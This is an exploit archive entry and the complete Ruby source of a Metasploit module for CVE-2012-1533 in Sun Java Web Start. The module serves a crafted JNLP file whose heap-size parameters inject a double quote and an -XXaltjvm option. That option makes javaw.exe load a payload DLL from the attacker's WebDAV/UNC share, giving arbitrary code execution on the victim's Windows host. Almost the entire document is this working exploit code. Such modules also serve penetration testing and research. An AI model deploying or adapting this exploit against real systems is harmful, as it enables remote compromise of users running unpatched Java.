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Sun Java Web Start Double Quote Injection

Sun Java Web Start Double Quote Injection
Posted Jun 13, 2013
Authored by Rh0 | Site metasploit.com

This Metasploit module exploits a flaw in the Web Start component of the Sun Java Runtime Environment. Parameters intial-heap-size and max-heap-size in a JNLP file can contain a double quote which is not properly sanitized when creating the command line for javaw.exe. This allows the injection of the -XXaltjvm option to load a jvm.dll from a remote UNC path into the java process. Thus an attacker can execute arbitrary code in the context of a browser user. This flaw was fixed in Oct. 2012 and affects JRE <= 1.6.35 and <= 1.7.07. In order for this module to work, it must be ran as root on a server that does not serve SMB. Additionally, the target host must have the WebClient service (WebDAV Mini-Redirector) enabled. Alternatively an UNC path containing a jvm.dll can be specified with an own SMB server.

tags | exploit, java, remote, web, arbitrary, root
advisories | CVE-2012-1533, OSVDB-86348
SHA-256 | 03e81d85cf7b77c63f98b9875e24d7c92e3dd03261f33f78773cc25fedd945f5

Sun Java Web Start Double Quote Injection

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##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
Rank = ExcellentRanking

#
# This module acts as an HTTP server
#
include Msf::Exploit::Remote::HttpServer::HTML
include Msf::Exploit::EXE

def initialize(info = {})
super(update_info(info,
'Name' => 'Sun Java Web Start Double Quote Injection',
'Description' => %q{
This module exploits a flaw in the Web Start component of the Sun Java
Runtime Environment. Parameters intial-heap-size and max-heap-size in a JNLP
file can contain a double quote which is not properly sanitized when creating
the command line for javaw.exe. This allows the injection of the -XXaltjvm
option to load a jvm.dll from a remote UNC path into the java process. Thus
an attacker can execute arbitrary code in the context of a browser user.
This flaw was fixed in Oct. 2012 and affects JRE <= 1.6.35 and <= 1.7.07.

In order for this module to work, it must be ran as root on a server that
does not serve SMB. Additionally, the target host must have the WebClient
service (WebDAV Mini-Redirector) enabled. Alternatively an UNC path containing
a jvm.dll can be specified with an own SMB server.
},
'Author' =>
[
# NOTE: module is completely based on and almost the same like jducks module for CVE-2012-0500 jva_ws_vmargs
'Rh0 <rh0[at]z1p.biz>' # discovery and msf module
],
'References' =>
[
[ 'CVE', '2012-1533' ],
[ 'OSVDB', '86348' ],
[ 'BID' , '56046'],
[ 'URL', 'http://www.oracle.com/technetwork/topics/security/javacpuoct2012-1515924.html' ],
[ 'URL', 'http://pastebin.com/eUucVage ']
],
'Platform' => 'win',
'Payload' =>
{
'Space' => 1024,
'BadChars' => '',
'DisableNops' => true,
'PrependEncoder' => "\x81\xc4\x54\xf2\xff\xff"
},
'Targets' =>
[
[ 'Automatic', { } ],
[ 'Java Runtime 1.6.31 to 1.6.35 and 1.7.03 to 1.7.07 on Windows x86',
{
'Platform' => 'win',
'Arch' => ARCH_X86
}
],
],
'DefaultTarget' => 0,
'DisclosureDate' => 'Oct 16 2012'
))

register_options(
[
OptPort.new('SRVPORT', [ true, "The daemon port to listen on", 80 ]),
OptString.new('URIPATH', [ true, "The URI to use.", "/" ]),
OptString.new('UNCPATH', [ false, 'Override the UNC path to use. (Use with a SMB server)' ])
], self.class)
end


def auto_target(cli, request)
agent = request.headers['User-Agent']

ret = nil
#print_status("Agent: #{agent}")
# Check for MSIE and/or WebDAV redirector requests
if agent =~ /(Windows NT (5|6)\.(0|1|2)|MiniRedir\/(5|6)\.(0|1|2))/
ret = targets[1]
elsif agent =~ /MSIE (6|7|8)\.0/
ret = targets[1]
else
print_status("Unknown User-Agent #{agent} from #{cli.peerhost}:#{cli.peerport}")
end

ret
end


def on_request_uri(cli, request)

# For this exploit, this does little besides ensures the user agent is a recognized one..
mytarget = target
if target.name == 'Automatic'
mytarget = auto_target(cli, request)
if (not mytarget)
send_not_found(cli)
return
end
end

# Special case to process OPTIONS for /
if (request.method == 'OPTIONS' and request.uri == '/')
process_options(cli, request, mytarget)
return
end

# Discard requests for ico files
if (request.uri =~ /\.ico$/i)
send_not_found(cli)
return
end

# If there is no subdirectory in the request, we need to redirect.
if (request.uri == '/') or not (request.uri =~ /\/([^\/]+)\//)
if (request.uri == '/')
subdir = '/' + rand_text_alphanumeric(8+rand(8)) + '/'
else
subdir = request.uri + '/'
end
print_status("Request for \"#{request.uri}\" does not contain a sub-directory, redirecting to #{subdir} ...")
send_redirect(cli, subdir)
return
else
share_name = $1
end

# dispatch WebDAV requests based on method first
case request.method
when 'OPTIONS'
process_options(cli, request, mytarget)
when 'PROPFIND'
process_propfind(cli, request, mytarget)
when 'GET'
process_get(cli, request, mytarget, share_name)
when 'PUT'
print_status("Sending 404 for PUT #{request.uri} ...")
send_not_found(cli)
else
print_error("Unexpected request method encountered: #{request.method}")
end

end

#
# GET requests
#
def process_get(cli, request, target, share_name)

print_status("Responding to \"GET #{request.uri}\" request from #{cli.peerhost}:#{cli.peerport}")
# dispatch based on extension
if (request.uri =~ /\.dll$/i)
#
# DLL requests sent by IE and the WebDav Mini-Redirector
#
print_status("Sending DLL to #{cli.peerhost}:#{cli.peerport}...")
# Re-generate the payload
return if ((p = regenerate_payload(cli)) == nil)
# Generate a DLL based on the payload
dll_data = generate_payload_dll({ :code => p.encoded })
# Send it :)
send_response(cli, dll_data, { 'Content-Type' => 'application/octet-stream' })
elsif (request.uri =~ /\.jnlp$/i)
#
# Send the jnlp document
#
# Prepare the UNC path...
if (datastore['UNCPATH'])
unc = datastore['UNCPATH'].dup
else
my_host = (datastore['SRVHOST'] == '0.0.0.0') ? Rex::Socket.source_address(cli.peerhost) : datastore['SRVHOST']
unc = "\\\\" + my_host + "\\" + share_name
end

# NOTE: we ensure there's only a single backslash here since it will get escaped
if unc[0,2] == "\\\\"
unc.slice!(0, 1)
end

# use initial-heap-size='"' to inject a double quote and max-heap-size=" -XXaltjvm=\\IP\share " to
# inject a parameter into the command line of javaw.exe
# codebase, href and application-desc parameters successfully suppress java splash
jnlp_data = <<-EOS
<?xml version="1.0" encoding="UTF-8"?>
<jnlp version="1" codebase="#{Rex::Text.rand_text_alpha(rand(10)+10)}" href="#{Rex::Text.rand_text_alpha(rand(10)+10)}.jnlp">
<information>
<title>Download</title>
<vendor>#{Rex::Text.rand_text_alpha(rand(10)+10)}</vendor>
<description>#{Rex::Text.rand_text_alpha(rand(10)+10)}</description>
</information>
<resources>
<java version="1.6+" initial-heap-size='"' max-heap-size=" -XXaltjvm=#{unc} " />
</resources>
<application-desc progress-class="#{Rex::Text.rand_text_alpha(rand(10)+10)}" />
</jnlp>
EOS
print_status("Sending JNLP to #{cli.peerhost}:#{cli.peerport}...")
send_response(cli, jnlp_data, { 'Content-Type' => 'application/x-java-jnlp-file' })
else
print_status("Sending redirect to the JNLP file to #{cli.peerhost}:#{cli.peerport}")
jnlp_name = Rex::Text.rand_text_alpha(8 + rand(8))
jnlp_path = get_resource()
if jnlp_path[-1,1] != '/'
jnlp_path << '/'
end
jnlp_path << request.uri.split('/')[-1] << '/'
jnlp_path << jnlp_name << ".jnlp"
send_redirect(cli, jnlp_path, '')
end

end

#
# OPTIONS requests sent by the WebDav Mini-Redirector
#
def process_options(cli, request, target)
print_status("Responding to WebDAV \"OPTIONS #{request.uri}\" request from #{cli.peerhost}:#{cli.peerport}")
headers = {
#'DASL' => '<DAV:sql>',
#'DAV' => '1, 2',
'Allow' => 'OPTIONS, GET, PROPFIND',
'Public' => 'OPTIONS, GET, PROPFIND'
}
send_response(cli, '', headers)
end


#
# PROPFIND requests sent by the WebDav Mini-Redirector
#
def process_propfind(cli, request, target)
path = request.uri
print_status("Received WebDAV \"PROPFIND #{request.uri}\" request from #{cli.peerhost}:#{cli.peerport}")
body = ''

if (path =~ /\.dll$/i)
# Response for the DLL
print_status("Sending DLL multistatus for #{path} ...")
#<lp1:getcontentlength>45056</lp1:getcontentlength>
body = %Q|<?xml version="1.0" encoding="utf-8"?>
<D:multistatus xmlns:D="DAV:">
<D:response xmlns:lp1="DAV:" xmlns:lp2="http://apache.org/dav/props/">
<D:href>#{path}</D:href>
<D:propstat>
<D:prop>
<lp1:resourcetype/>
<lp1:creationdate>2010-02-26T17:07:12Z</lp1:creationdate>
<lp1:getlastmodified>Fri, 26 Feb 2010 17:07:12 GMT</lp1:getlastmodified>
<lp1:getetag>"39e0132-b000-43c6e5f8d2f80"</lp1:getetag>
<lp2:executable>F</lp2:executable>
<D:lockdiscovery/>
<D:getcontenttype>application/octet-stream</D:getcontenttype>
</D:prop>
<D:status>HTTP/1.1 200 OK</D:status>
</D:propstat>
</D:response>
</D:multistatus>
|
elsif (path =~ /\/$/) or (not path.sub('/', '').index('/'))
# Response for anything else (generally just /)
print_status("Sending directory multistatus for #{path} ...")
body = %Q|<?xml version="1.0" encoding="utf-8"?>
<D:multistatus xmlns:D="DAV:">
<D:response xmlns:lp1="DAV:" xmlns:lp2="http://apache.org/dav/props/">
<D:href>#{path}</D:href>
<D:propstat>
<D:prop>
<lp1:resourcetype><D:collection/></lp1:resourcetype>
<lp1:creationdate>2010-02-26T17:07:12Z</lp1:creationdate>
<lp1:getlastmodified>Fri, 26 Feb 2010 17:07:12 GMT</lp1:getlastmodified>
<lp1:getetag>"39e0001-1000-4808c3ec95000"</lp1:getetag>
<D:lockdiscovery/>
<D:getcontenttype>httpd/unix-directory</D:getcontenttype>
</D:prop>
<D:status>HTTP/1.1 200 OK</D:status>
</D:propstat>
</D:response>
</D:multistatus>
|
else
print_status("Sending 404 for #{path} ...")
send_not_found(cli)
return
end
# send the response
resp = create_response(207, "Multi-Status")
resp.body = body
resp['Content-Type'] = 'text/xml'
cli.send_response(resp)
end


#
# Make sure we're on the right port/path to support WebDAV
#
def exploit
if !datastore['UNCPATH'] && (datastore['SRVPORT'].to_i != 80 || datastore['URIPATH'] != '/')
raise RuntimeError, 'Using WebDAV requires SRVPORT=80 and URIPATH=/'
end
super
end

end
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